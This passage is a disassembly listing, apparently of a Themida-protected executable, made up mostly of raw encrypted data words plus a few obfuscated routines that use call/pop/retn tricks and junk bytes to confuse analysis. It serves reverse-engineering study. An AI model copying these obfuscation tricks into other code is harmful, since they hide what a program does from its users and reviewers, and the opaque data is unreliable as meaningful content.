		dd 25A6420Dh, 0B2CBAD08h, 0EA9D6C87h, 339C6979h, 0CB156611h
		dd 32068F22h, 36196644h, 226838B3h, 4A5F6EEh, 0A8A75145h
		dd 0DA6F1975h, 9F7D3655h, 0BB156635h, 6B4D4284h, 0B5D7E624h
		dd 32156CCAh, 0EEBB1911h, 0D4417A8Fh, 0CBF432D9h, 52BE077Dh
		dd 5D8C79AAh, 7FFC07F1h, 3DEA9990h, 321567A6h, 4B7D9311h
		dd 0BB156698h, 32AC4248h, 33156622h, 6B14ECE0h,	42DEE6E8h
		dd 3A44BDC5h, 0E7462DDh, 6D9169F9h, 0DB156688h,	3215664Eh
		dd 0E6429D8Eh, 0D9043BDCh, 8D4295A8h, 65592AA5h, 3C8D91A3h
		dd 0E5E27924h, 4F788909h, 8C4351A6h, 0B24ED9C5h, 0BB4B9110h
		dd 88753970h, 4A7FDC06h, 53C6ED44h, 32148FF8h, 23FC0688h
		dd 19156644h, 0E64A8014h, 1044DD64h, 6B390234h,	53915CFCh
		dd 534A3042h, 83EC0670h, 0BB47076Dh, 36D7E7A6h,	0B3156622h
		dd 321562FBh, 1601E188h, 1609EF18h, 369430DAh, 36286035h
		dd 8D423DBEh, 324D089Bh, 2E1889A3h, 0C594684Bh,	0F5EF095Ch
		dd 3D4A9D6Dh, 321577A8h, 32198F11h, 0B2B16688h,	0A0D2D34Dh
		dd 42D6D715h, 287D4F29h, 0BB1566D5h, 33AD4240h,	33156622h
		dd 6A0D65E1h, 321EEF87h, 34FC6644h, 0AE156622h,	0F8819108h
		dd 3D750638h, 321566C7h, 54AC0022h, 0B97307D2h,	8847077Ah
		dd 32156641h, 269EB523h, 36D1E735h, 0C7156688h,	3219EB4Bh
		dd 0B61A6622h, 32156617h, 3215E987h, 807D6644h,	0BB156609h
		dd 0A2420Dh, 0CA15D038h, 32078F1Fh, 31FF6622h, 522ED3C4h
		dd 0F7D6D242h, 6801EF7Bh, 48094B49h, 32188FBBh,	0F7646688h
		dd 6314BF71h, 0DD5E4EEAh, 0B3E2470Ah, 34426A4Bh, 64EE4F1Dh
		dd 0A0EAA9Ch, 0C5C39165h, 25DBE75Eh, 0B337FF44h, 8D59B5D4h
		dd 6CE64F3Eh, 3218EF87h, 3AFC6644h, 0DB156622h,	0A6576B8Ch
		dd 673741DFh, 3211DF15h, 0FF9C6622h, 6FFE4F48h,	0C183DFE8h
		dd 8A736AA4h, 37449F6h,	3D657C9h, 3DBE9F50h, 32157EC0h
		dd 32068F22h, 0E2F16611h, 112C33FEh, 72C8ED3Ah,	74577143h
		dd 61F8E0B0h, 16219909h, 36D1E71Fh, 52156622h, 60DAD11Eh
		dd 9B91CA37h, 52743C7Dh, 0C0B0D875h, 0B34D55ADh, 0EF2CAD60h
		dd 8D42076Eh, 32156627h, 0E9E9810h, 36D1E5ACh, 321577ADh
		dd 2A6C5722h, 226AFCDh,	32DA98A9h, 8B41F33Fh, 0B11AEC9Fh
		dd 3215661Fh, 329A69E8h, 0B3156644h, 82C39ACCh,	337D0719h
		dd 0B9156688h, 0F6964240h, 32198F26h, 13C06611h, 0D3896FA1h
		dd 0F27F97A1h, 0CAD6CE24h, 3219A979h, 1619EF88h, 3211E34Bh
		dd 0B9756622h, 0CD7307E8h, 369400BEh, 54528560h, 5442007Ah
		dd 545285AEh, 6D739EA1h, 3212EB4Bh, 0B41A6622h,	32156610h
		dd 3DD65A70h, 321440C0h, 0F9299E22h, 3308E21Eh,	21FC6688h
		dd 3B156644h, 5D056B09h, 12444F48h, 0EBC3D591h,	35E5D0A8h
		dd 86756672h, 537506AFh, 3215E287h, 53746644h, 0B61AA41Eh
		dd 32156736h, 3DDF5A71h, 321478C0h, 0F739322h, 0B61A43EEh
		dd 321567D7h, 1C2800B8h, 479069DDh, 3D156611h, 32156709h
		dd 8B449E44h, 32156620h, 339F9710h, 0B3316A03h,	32156280h
		dd 3D440622h, 884E90AEh, 22A13F95h, 62470025h, 0F6EB7296h
		dd 0BAF09291h, 0C2353E6Eh, 0B61A3C22h, 3215663Bh, 321572F8h
		dd 694E2C88h, 0C309F42Eh, 2D9F0C21h, 0B0206261h, 2CC9319Bh
		dd 3DB55AEFh, 321445A6h, 32078F11h, 0C4C66688h,	0AE0E3A70h
		dd 49DEC379h, 0D8D723A7h, 69C9640Ah, 6B3152BBh,	3D11A2A1h
		dd 32156D9Ah, 8D1A0688h, 329469BFh, 53156622h, 8C4333E9h
		dd 5C3122C8h, 597980C5h, 0F4942DEDh, 0B6759E1h,	0B2258809h
		dd 0C79CE532h, 6FFDEF7Ch, 321577F8h, 0CDF45088h, 40826C3Fh
		dd 48086131h, 0B91FD11Fh, 0BEFCD361h, 52156645h, 54CFED44h
		dd 374AC9Ah, 321A8F41h,	4D326644h, 6764E72h, 5F09A83Ah
		dd 97F13F58h, 0CDAA31BAh, 1BEA99DDh, 0CAEC39E8h, 3215CF61h
		dd 32188F44h, 0CBAC6622h, 0FD3EE590h, 0E2FA9C7Fh, 62191C6Fh
		dd 0EC77D09Ah, 69102E21h, 72BA4B3h, 65382EBEh, 0BFC3810Fh
		dd 6943629h, 0A61935ACh, 0C3943F75h, 3816A71h, 32068F49h
		dd 89B66688h, 97630673h, 0C7AF95Ah, 0E06E0156h,	0D55FD22h
		dd 32418FDEh, 0CB756622h, 3215E01Eh, 62746688h,	321560FCh
		dd 0B9D4EF22h, 0F6944215h, 3215668Ch, 3214EC4Bh, 0DBE06622h
		dd 3215663Fh, 321FE287h, 37FC6644h, 7D156622h, 9A14F865h
		dd 8DAA31DBh, 8962C56Ch, 0BA49B16Ah, 0BB4A9D10h, 35FC3D51h
		dd 70156644h, 909FC981h
		dd 96E60487h, 3219E187h, 35FC6644h, 4C156622h, 13F03705h
		dd 0B9E01A11h, 3C0EFBC9h, 32068F24h, 12B26611h,	2A02E117h
		dd 0C2DB111Eh, 1FC97A2Dh, 68FE85A6h, 3DDCE3F0h,	321554C1h
		dd 79AA0622h, 3D5F3540h, 3D74B83Fh, 32156ACCh, 34956922h
		dd 3D156611h, 3215660Eh, 0AFA0EF44h, 0DB136839h, 3215661Ah
		dd 970449CFh, 1238011Dh, 0B975ECC7h, 0BB43421Dh, 36D3E76Eh
		dd 0B1156644h, 69262E4h, 0B51A3A35h, 32156681h,	8B740624h
		dd 1D161BAh, 87AE3570h,	0F347CCF0h, 0CD4664A7h,	0C54E4226h
		dd 56DEE7C2h, 0B30E24F3h, 646A09B7h, 69CDEF9Dh,	3214E41Eh
		dd 0F1E06688h, 0CD7393BDh, 36940014h, 542EE135h, 0B3316203h
		dd 32156480h, 0B5380022h, 0C394062Ah, 44890522h, 0C77485CEh
		dd 0B61AA51Eh, 321567B6h, 0E795067Dh, 39A2DC7Dh, 63744B8Dh
		dd 0BAD7EE43h, 0F99D3C59h, 82459F1Dh, 3ECF52D9h, 0C4D76293h
		dd 0CC450050h, 6A734240h, 0F135CA0Eh, 28916949h, 52156688h
		dd 23FC3D14h, 74156622h, 0A619A80Ah, 58ACFD41h,	7E37679Ch
		dd 24967071h, 42EEE670h, 31E0E287h, 3D756644h, 0BDAD919Dh
		dd 532E83C3h, 0B61A8FB4h, 3215677Bh, 3DFE5ADAh,	32145095h
		dd 0C89E0688h, 0F7514FFCh, 0F029071Fh, 3330E21Eh, 0DB756688h
		dd 32156649h, 0C5DEB742h, 0AFAE1737h, 1580225Fh, 0F92907B4h
		dd 331CE22Dh, 20FC6611h, 11156688h, 0C5AD6A56h,	8D042F4Fh
		dd 82B28822h, 940E380Fh, 0D39F0687h, 0CD280043h, 0D6916934h
		dd 0CA156688h, 0B61AAC78h, 321566F9h, 3214ED1Eh, 0CEEC6688h
		dd 0B61A8578h, 3215654Dh, 30916971h, 52156688h,	4BFEE725h
		dd 5316A7AAh, 0CD3B5B77h, 3247E387h, 0B71A6644h, 32156625h
		dd 3214EE1Eh, 60E96688h, 321564FEh, 63E76722h, 321566A8h
		dd 0B8C46788h, 0CB4F3F45h, 54178AA1h, 85317A98h, 54ED4678h
		dd 3399691Fh, 0C7156622h, 0B61AC62Dh, 321566FBh, 3214E34Bh
		dd 3DED6622h, 32156199h, 339D6988h, 0CE156644h,	0E1ED975h
		dd 0DD9477E7h, 579C0D02h, 0C51D8185h, 5AF34F5h,	1B24FF73h
		dd 0F5943C5Fh, 8E01CDAh, 0A57391A3h, 0CA9CFA9Ah, 0B8AB06D7h
		dd 54331DEBh, 0DB74B0A9h, 3215669Eh, 32156961h,	0DEC3CA44h
		dd 0E05D6207h, 80804798h, 7462A428h, 3218E94Bh,	0B3756622h
		dd 7F882DF6h, 0DC94008Ah, 0BB748DF2h, 3C0EFB97h, 32198F17h
		dd 0FA296688h, 0EDE81BE9h, 0B3B253D1h, 37FC7B30h, 0AE156688h
		dd 0C37CAAh, 0AAE2FBAFh, 0B9756005h, 53CAED4Ah,	0B21AB5BBh
		dd 32156624h, 47AB0071h, 5A4607F2h, 42E5710Bh, 0B3317AA9h
		dd 321562D5h, 7CE6E788h, 0BB659653h, 22FC3DFAh,	43156611h
		dd 2DFB7DAEh, 0F3014830h, 99FE349Ah, 0F1593DB4h, 0D39C377Dh
		dd 3211A7C5h, 0DB966622h, 1619E115h, 1611EFD4h,	0F0949F24h
		dd 64247314h, 29A30670h, 3210EA87h, 24AF6644h, 5357700Ah
		dd 321B4C79h, 1609EF88h, 321576FFh, 0B9E66722h,	0BC1A3D12h
		dd 32156685h, 32156EADh, 15AB6822h, 0BEAF0C02h,	0C390EFFAh
		dd 0DB13686Ch, 32156624h, 0EEE23707h, 369EF0B6h, 0D39C3760h
		dd 3211A7A3h, 0F3946611h, 3215668Ch, 6E316AC3h,	321568CBh
		dd 0ADEA4311h, 0B2E23324h, 49A56DA6h, 0B3F7D5C7h, 321562FDh
		dd 1609EF88h, 32157AFFh, 69CB6722h, 319A6971h, 3D156688h
		dd 0B97396F3h, 8F9807F4h, 341B7D1Ch, 3219EF87h,	0BB1A6644h
		dd 32156624h, 3215E41Eh, 0C7B86688h, 0ECE5E724h, 0CA0B4A05h
		dd 51B14B70h, 0EB103132h, 313BD516h, 1F314266h,	1CA634C8h
		dd 8876C28Dh, 8C730613h, 0B373F950h, 534FDBD1h,	321A8F23h
		dd 524B6644h, 3D76D7F5h, 46F20558h, 8BEC27FEh, 6BA8EBECh
		dd 3D13680Fh, 32156790h, 52B89A88h, 32156AACh, 7862C022h
		dd 0E123F872h, 1BA18E79h, 5941DE62h, 3D4E0BB8h,	3215609Fh
		dd 32916988h, 53156644h, 0D202D827h, 3E174B0Bh,	76165D54h
		dd 30104260h, 1F2EBA2Eh, 28F571AFh, 2EAB00E8h, 0F59400F7h
		dd 0DB747047h, 32156601h, 0D96490BEh, 45305784h, 140AB621h
		dd 7027CF8h, 3216C5E0h,	1611EF44h, 320FE72Dh, 0B01A6611h
		dd 3215669Ch, 321569ADh, 7160AA22h, 0A37869B6h,	4D806A0Dh
		dd 0FBA9FBBAh, 321563CBh, 0FF9A1611h, 0DBBECEFEh, 32156649h
		dd 6A874868h, 0E4DC7FF7h, 71871DAFh, 97A8EB9Eh,	0CB136802h
		dd 22FC9FBCh, 14156688h, 88D695A9h, 0CC09B769h,	299E8A8Dh
		dd 37733655h, 2B905DE1h, 1A312221h, 9B0DB44h, 0DA3C7F0Dh
		dd 33956919h, 0CE156622h, 32138FBAh, 69316688h,	0CE058E9h
		dd 321560CBh, 0FCECFA11h, 0B933568Ah, 0BB464270h, 36D6E7C1h
		dd 0B3156611h, 3215624Bh, 1609E144h, 0C79F067Eh, 8D7507E9h
		dd 66B27561h, 53E7ED22h, 32188FE1h, 0EC216611h,	74D34670h
		dd 0E554429h, 5A90F1F1h, 32154C77h, 3D315201h, 32156AC0h
		dd 8B730622h, 0B61A60B4h, 32156688h, 3A9C6925h,	52156622h
		dd 89730771h, 0BF741359h, 268D79D9h, 32188F24h,	0E6A26611h
		dd 0B5DC9EE5h, 0CE8F19D5h, 0CDEBCCA5h, 87FC9AC2h, 0CAEA9974h
		dd 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 6FC0D5F2h, 96A450B1h
		dd 152AA8EDh, 2429458Ah, 1957DFA0h, 5E917926h, 152A1E2Ch
		dd 5E89798Ah, 152A162Ch, 5ECA798Ah, 152A492Ch, 5E13798Ah
		dd 152A382Ch, 5EF2798Ah, 152A5C2Ah, 5EFA798Ah, 152A6B2Ah
		dd 51D6AC8Ah, 60D554A8h, 59D7BA86h, 2385CE25h, 0DCF1439Fh
		dd 1DD232h, 0D871BA8Ch,	42C3A8EDh, 0AEA2458Ah, 60D558DDh
		dd 0EE38C882h, 462C419Eh, 6624DF07h, 0C6D552BDh, 0B85E0003h
		dd 152A5492h, 0AEAE3075h, 8FA75CDDh, 57B77341h,	93B0D9FBh
		dd 0AEA450BDh, 0E96FDD7Bh, 51A25863h, 195FABA8h, 0DCAA3075h
		dd 1C8332h, 0CB2F168Ch,	133F632Eh, 142B9675h, 152ABD54h
		dd 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 0EB000030h, 16h
		dd 4 dup(0)
		dd 0A4010100h, 15000003h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 93032870h
		dd 1A1B3274h, 0AEB24771h, 41BF6690h, 6A90506Dh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 6515C355h, 28A058FCh, 30019D8Bh, 0D68B060Eh,	8D8B006Ah
		dd 60E224Dh, 0BD8B006Ah, 60E1639h, 3D83858Dh, 6A0615h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 0E9830000h
		dd 8BA4F305h, 0D2B5E4CBh, 565DB12Dh, 56B73B3Dh,	42BEB132h
		dd 6FABB132h, 6B301407h, 18FCE57Eh, 0C8443A80h,	0C8851506h
		dd 0DDC641C8h, 0BC10D1DEh, 0D70B684Dh, 0EB3F94E4h, 5E98348h
		dd 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh, 6FD0CF17h, 3FD525FBh
		dd 0DFADFDF5h, 22916096h, 7ACFB734h, 29B723ACh,	7A1A20ADh
		dd 277975FDh, 1667987Ch, 0FFA073E8h, 0E9831ED1h, 8BA4F305h
		dd 0B4BD8DDBh, 8D061584h, 160D148Dh, 6644B806h,	0CF2B3215h
		dd 3102E9C1h, 83C8D007h, 754904C7h, 800F60F6h, 5, 75E68166h
		dd 61F38BCCh, 66C18B60h, 10DDF781h, 89525161h, 5AD189C2h
		dd 0E959C889h, 5, 768901E1h, 21BD830Ch,	60E0Eh,	0BD830975h
		dd 60E0FC5h, 50197400h,	0B8C08B53h, 411h, 15C58589h, 9D8D060Eh
		dd 610A8D3h, 585BD3FFh,	0FC5BD83h, 7400060Eh, 0B8535017h
		dd 411h, 15C58589h, 9D8D060Eh, 610A574h, 585BD3FFh, 66F18B60h
		dd 61EAABB9h, 10E860h, 0FB2A0000h, 15950265h, 0E7BECEBDh
		dd 0DE5C09E9h, 78B91990h, 58601A55h, 8830F61h, 60000000h
		dd 0FC9BF0Fh, 5061FEB7h, 23243481h, 8B476077h, 0C4832404h
		dd 77233504h, 820F4760h, 6, 0BF0FF560h,	8DF861DEh, 1611038Dh
		dd 0FE906h, 7D500000h, 7003D762h, 0FD2DF2F8h, 6746F08Fh
		dd 0C58D89B0h, 6A060E2Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 4D9CC350h, 3A683004h
		dd 0BF0F5454h, 8185C7D6h, 0B4060E08h, 6A000063h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 5129C353h, 0D6B31920h, 0F0B6ECD9h, 62E8BB66h, 28D985C7h
		dd 60Eh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 1C0424h, 53430000h, 0CA91D8C3h, 7B43298Bh, 0B529D48Eh
		dd 60E16C5h, 17CD8D89h,	0B5FF060Eh, 60E1AA1h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0D3C35040h, 995D45h
		dd 0F081AAE5h, 1656D471h, 9B995FFh, 6A060Eh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 4A3755C3h
		dd 0BC858123h, 95FF006Ah, 60E0F45h, 3AEBC08Bh, 352C4032h
		dd 4A319F3Ah, 0ACDF109Dh, 40E29F95h, 81EEE5FCh,	0C0F468AAh
		dd 8BE200A0h, 0FFFD5D81h, 658C2367h, 5AD24B8Dh,	0FA8DDA39h
		dd 65CAB3CDh, 0D74BB03Bh, 0B1EC02F2h, 0EDE95FEAh, 60000000h
		dd 0A8D88C66h, 0DF840F04h, 8B000000h, 0E2DC1B5h, 0FE8306h
		dd 22850Fh, 85C60000h, 60E2F11h, 69696845h, 0B5FF8E72h
		dd 60E19F5h, 6F74858Dh,	0D0FF0611h, 2E5D8589h, 0F08B060Eh
		dd 0FE93E80h, 3185h, 6A858D00h,	0FF061395h, 0E5BD8BD0h
		dd 81060E17h, 1184C7h, 0C1B58B00h, 87060E2Dh, 8B9F7h, 0A4F30000h
		dd 2DC1B58Bh, 858D060Eh, 6121977h, 0B58BD0FFh, 60E291Dh
		dd 0F00FE83h, 2285h, 1185C600h,	54060E2Fh, 4EBEF468h, 0F5B5FFFFh
		dd 8D060E19h, 116F7485h, 89D0FF06h, 0E291D85h, 80F08B06h
		dd 850FE93Eh, 3Ah, 291DB58Bh, 858D060Eh, 613956Ah, 0BD8BD0FFh
		dd 60E17E5h, 1184C781h,	0C7830000h, 1DB58B08h, 87060E29h
		dd 8B9F7h, 0A4F30000h, 291DB58Bh, 858D060Eh, 6121977h
		dd 0C361D0FFh, 1147858Dh, 85890616h, 60E0481h, 9E9h, 118F8400h
		dd 50h,	0DFE90000h, 68000004h, 6161332h, 0F86C43E9h, 13C468FFh
		dd 39E90616h, 68FFF86Ch, 616150Bh, 0F86C2FE9h, 653027FFh
		dd 490A06A1h, 2CEFEA85h, 0ED3CD68h, 0EEB7AF4Ah,	2045FF2Ah
		dd 9B5F28h, 0E17C4007h,	0C76226E3h, 0FB470BCAh,	0A2286F30h
		dd 3FA85D7Fh, 0CFE28691h, 7B9BDB90h, 4AC715A7h,	58FB23A6h
		dd 0A7706803h, 0F4B3B08Bh, 0D1C77130h, 0B3DDF1D1h, 9E6DE8A4h
		dd 779BF3DDh, 3652CD61h, 9BA5DA39h, 7FD092A2h, 436A651h
		dd 2C680B6h, 0DC120000h, 0DDE45477h, 0DFBF4D0Eh, 0FE796177h
		dd 0C7BC6865h, 8524A13Eh, 0B372C78Ah, 9E6D3C85h, 81CC75FAh
		dd 0C4B836ACh, 9D66D075h, 0ECB209Bh, 9DFBD69Ah,	0C0BFDB56h
		dd 0B97A4978h, 9709E9B7h, 60FFCE49h, 45E0A463h,	1E338948h
		dd 7E2106F7h, 3359822h,	0F1E80000h, 0CBC76226h,	0B0AB460Ah
		dd 948E29EDh, 78700BCFh, 4C0EBAFh, 5C20E9E1h, 3D01C8C1h
		dd 23E7A4A2h, 8CC8B88h,	0E930F1BCh, 695D7FA3h, 0E2865200h
		dd 71FCEDF0h, 9C2B7D5Dh, 52D4BC60h, 43F5B409h, 0E6EEAF7Eh
		dd 0E2617F10h, 1F99867h, 77C56938h, 0EBB7833Dh,	72243DC3h
		dd 0EF4FBACEh, 473FDA9Ah, 8857627Eh, 837F40C7h,	308500A2h
		dd 837F1373h, 0C9DCD9A2h, 837F8108h, 117839A2h,	0B1A2837Fh
		dd 79F46F36h, 83FE0423h, 7E086428h, 2A3h, 0F4B8837Ah, 0D89C5D59h
		dd 0BB7F423Dh, 9D612620h, 7D410A02h, 7B739252h,	5A53EEB2h
		dd 3634CF93h, 1D1AB579h, 834E9A5Eh, 7FA347C2h, 0E492FB5Dh
		dd 93F6B786h, 2F5B69B0h, 98A05FB4h, 27B65A29h, 47E63390h
		dd 3AFBC61Bh, 617F0592h, 9A97B32Eh, 0A283057Bh,	0B2E031F3h
		dd 0B60B9345h, 17FE1h, 0B9B67300h, 603DEFAh, 74C48347h
		dd 0EEAF7E4Dh, 5B69B0ABh, 8C57AC27h, 77BE29CBh,	506CE761h
		dd 98423053h, 99EAACA2h, 4568C6Bh, 439AB6h, 922C0000h
		dd 91ACF2A6h, 5C00C1BDh, 2FAA7E75h, 0E2C3C160h,	56AB26E5h
		dd 428ECA8Bh, 0C7426177h, 5D6FAEABh, 1B13A29Bh,	605B3652h
		dd 49CB819Dh, 682AD5F8h, 601A017h, 8B6CEE43h, 9BB6035Fh
		dd 0B1h, 93E2862Dh, 0C2A09F38h,	0E8E580D5h, 3A320D29h
		dd 7D7A5571h, 594BEFBEh, 0F71652Fh, 5E3951A6h, 21DEA261h
		dd 5B693BC0h, 7FC3ABA8h, 0B9A48BE8h, 0DB9A5ED9h, 8245405Dh
		dd 2D773807h, 0DB617A6Eh, 0FAF29160h, 3A26D31h,	60292108h
		dd 0F1EEC9E5h, 0E45F1632h, 71DE6540h, 76CB1E96h, 5C6E3DBh
		dd 0A2862D82h, 0F248C33Eh, 2886ACC9h, 5C43CD29h, 0C1000001h
		dd 0A03BFFCAh, 841FE3A4h, 6702C689h, 49E4A86Dh,	99C48851h
		dd 0F9C2BA2Bh, 0DAA19A35h, 0C07D7B16h, 0A56461FCh, 9CA95E1h
		dd 5D7FA58Eh, 0B62BD942h, 9631F5BEh, 0FBB8B699h, 0E9AD28DFh
		dd 0FAB9B67Bh, 470603DEh, 1C19B883h, 37E3B39h, 0FC1BDCE7h
		dd 545B69B0h, 4A095ED9h, 4304D3EEh, 6177FEF1h, 966534AFh
		dd 6938FDF7h, 980361A8h, 1166E1A2h, 93917E76h, 0D6F2B9B2h
		dd 6529A41Fh, 980365A8h, 51100DA2h, 3038DE82h, 87825244h
		dd 0DFD77232h, 0C470FA16h, 0FE000000h, 4C1BA692h, 0D2EEB3ADh
		dd 2CFBC61Bh, 0B6D28F8Dh, 0EBEDAAFFh, 0DD617FC2h, 2C81423Eh
		dd 0F7D2EE69h, 0AC773BFAh, 352E0F0Dh, 209B526Eh, 6E2B2904h
		dd 0CB209B52h, 0A5743330h, 87210906h, 3C039303h, 7219BD38h
		dd 0A6AF7E4Fh, 7A778FE4h, 48986F24h, 0BF368749h, 10652220h
		dd 0EAB97875h
		dd 90AE8446h, 85DE128h,	0FD97D48h, 18301BE5h, 78751065h
		dd 0C8C29DB9h, 9B953403h, 0D6981D6h, 0BAB7FE4Fh, 918D2CFBh
		dd 0F0BB7BD0h, 0C3888221h, 88278702h, 21C03BF8h, 934A6623h
		dd 93A6A33Eh, 8827B7D2h, 15900BF8h, 564FEEF9h, 67BC738Fh
		dd 121Dh, 0E286AB00h, 7D782067h, 0F45716BAh, 32AD6A68h
		dd 0B60DBFDDh, 0FDD8F4BFh, 4A254100h, 98738F4Ch, 0E1BCD89Fh
		dd 290420E9h, 714C6831h, 0BB96B277h, 6E1FDC0h, 692D490Ah
		dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0B682404h
		dd 89000029h, 8956241Ch, 4C681E6h, 81000000h, 4EEh, 24348700h
		dd 243C895Ch, 7D1CBD55h, 504D53E2h, 6A1A87B8h, 2E0C163h
		dd 0F702E8C1h, 592E0DD0h, 952D32EEh, 31B9558Dh,	0C58158C5h
		dd 0EFCDFF7Fh, 685DEB89h, 4132h, 81242489h, 42404h, 685F0000h
		dd 6004h, 89242C89h, 86F89DDh, 243C8B5Dh, 5E08950h, 4
		dd 405h, 24048700h, 2434FF5Ch, 4C4835Bh, 0F86777E9h, 7405F0FFh
		dd 0A2655B5Ch, 8CB8DA97h, 3061616h, 10E0FFC5h, 0A2134E07h
		dd 9443B3CBh, 0F717DF4Bh, 0A94CD982h, 40000F17h, 3D54C1D4h
		dd 793F20C4h, 9C29A4A9h, 0E812E698h, 5,	4530B784h, 0C6ADB99Ch
		dd 0E85E65D9h, 0Fh, 97FE3946h, 4E124506h, 0D6779F6h, 0F9E3E14h
		dd 8159CEBFh, 6D2FC6h, 38A0F00h, 0F000000h, 0B8CFBFh, 66000000h
		dd 3A21C981h, 5A3034FFh, 38B0Fh, 8B660000h, 54C281D8h
		dd 0F461207h, 682h, 82CB8100h, 8116B51Ah, 2C9D28F2h, 0B8A0F16h
		dd 0E9000000h, 6, 40D5C41Dh, 0F2814BA9h, 60132697h, 53061489h
		dd 3830Fh, 0B70F0000h, 0F78159D8h, 12FEF51Fh, 6603E883h
		dd 48D604BBh, 0D3CF8166h, 98F88167h, 0FFFFF93h,	1785h
		dd 60535600h, 0E95F5F61h, 1Bh, 1715A7F9h, 2E66F5D6h, 0CC7C72B6h
		dd 1F14B966h, 0FFFF77E9h, 0F8219FFh, 8D5F741Eh,	1619188Dh
		dd 0C5BB6606h, 41B58BB9h, 89060E07h, 0E2FC58Dh,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 1483DC4Ah, 0C9850984h, 0C7060E0Eh, 0E088185h, 6F1406h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 1A1D6749h, 0F697EE63h, 85C7CEE0h, 60E28D9h
		dd 0
; ---------------------------------------------------------------------------
		pusha
		mov	edi, [ebp+60E22BDh]
		mov	edi, [ebp+60E0E15h]
		popa
		push	dword ptr [ebp+60E1AA1h]
		push	0
		push	edi
		call	sub_5CAEBF
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CAEBF	proc near		; CODE XREF: Themida_:005CAEB7p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5CAEBF	endp

; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------
		mov	edx, 520A7094h
		jmp	loc_5CAEE6
; ---------------------------------------------------------------------------
		dw 527Bh
		dd 0B2B21FFCh, 62D159C7h
		db 0A3h, 8Fh
; ---------------------------------------------------------------------------


loc_5CAEE6:				; CODE XREF: Themida_:005CAED5j
		call	dword ptr [ebp+60E09B9h]
		push	0
		push	eax
		call	sub_5CAEF7
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CAEF7	proc near		; CODE XREF: Themida_:005CAEEFp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5CAEF7	endp

; ---------------------------------------------------------------------------
		align 4
		dd 8BCF5B1Eh, 0FF006AD7h, 0E0F4595h, 0EBC08B06h, 0ACD4383Ah
		dd 0FEC317B8h, 0BD3148F9h, 9B2F7172h, 0E2B1F457h, 39541512h
		dd 0CAB93B8Ch, 0E47B0123h, 46A905AFh, 0FDABA39Eh, 0AF332E2Dh
		dd 13B745Ah, 2590623h, 0F97B2401h, 0E9F66CA3h, 27h, 6F2EEE77h
		dd 416C7452h, 636F6C6Ch, 48657461h, 706165h, 140000h, 3	dup(0)
		dd 0E9000000h, 112Bh, 161BAC68h, 650EE906h, 0AF68FFF8h
		dd 0E906161Ch, 0FFF86504h, 161F1268h, 64FAE906h, 2C68FFF8h
		dd 0E9061620h, 0FFF864F0h, 16237E68h, 64E6E906h, 3068FFF8h
		dd 0E9061624h, 0FFF864DCh, 16247668h, 64D2E906h, 9168FFF8h
		dd 0E9061625h, 0FFF864C8h, 16261268h, 64BEE906h, 8B68FFF8h
		dd 0E9061626h, 0FFF864B4h, 16282168h, 64AAE906h, 1E68FFF8h
		dd 0E9061629h, 0FFF864A0h, 30F4BFB6h, 14D89995h, 0F7BB7E79h
		dd 0D99D625Ch, 0B97D463Eh, 0B7AFD68Eh, 968F2AEEh, 72700BCFh
		dd 5956F1B5h, 0BF8AD69Ah, 7FAA9BFEh, 20CE375Dh,	0DEFAB9B6h
		dd 743B34D3h, 0B0A5E4A5h, 0A21D5B69h, 0CDB5B24Dh, 0DEF2A7E6h
		dd 7C981389h, 0D192A3A1h, 5B69B9B6h, 0F8148F0Ah, 415D241Dh
		dd 8FAB6866h, 0D1F445C3h, 5BA2F3B1h, 40DB9F5Eh,	20BB7F48h
		dd 6D486423h, 13E2B170h, 0B9048344h, 41BC5B69h,	69B91980h
		dd 0E93EB95Bh, 9FCE6A29h, 69B9BBDEh, 7A78175Bh,	6FEAA1BDh
		dd 406425F4h, 806177B7h, 0A9ECE905h, 45A2984Ah,	0F3043283h
		dd 33B6044Dh, 46h, 7A39C468h, 0AF357A45h, 0A692EC5Ah, 1E3AFBF7h
		dd 4E1DEC67h, 9FF4B1AFh, 77BF66E2h, 0C3DF5A61h,	984047C6h
		dd 6B322BA2h, 0B37C744Fh, 0FC4DCB97h, 4E0942B0h, 930E86D9h
		dd 0A7D526E8h, 0B6054650h, 104D6h, 0B9B66800h, 0B03DEFAh
		dd 0BE5D261Eh, 0B584FFC4h, 8112711h, 6920C047h,	6105805Bh
		dd 7DD21B9Dh, 0CA8B5A65h, 5B692A4Fh, 0A7686403h, 459D48Bh
		dd 91AD6C69h, 36FAB9B6h, 9482C76Bh, 11A2DC8Eh, 92068142h
		dd 3FBA5B69h, 97CD2DEAh, 0B6B35B69h, 908928F7h,	19B474C9h
		dd 42415D1Ch, 3BFCCBF6h, 6177D025h, 0CC4B0CDBh,	84A29BB0h
		dd 0BCA8E09h, 0F6C5942Dh, 7B755C57h, 68E39AB6h,	8340954Ch
		dd 988858ACh, 74EBB054h, 880153F7h, 0D06F3E0Dh,	3DF410D7h
		dd 8C554DE8h, 665EFDC8h, 41C3F99Dh, 0D9BCA4CFh,	28F1E984h
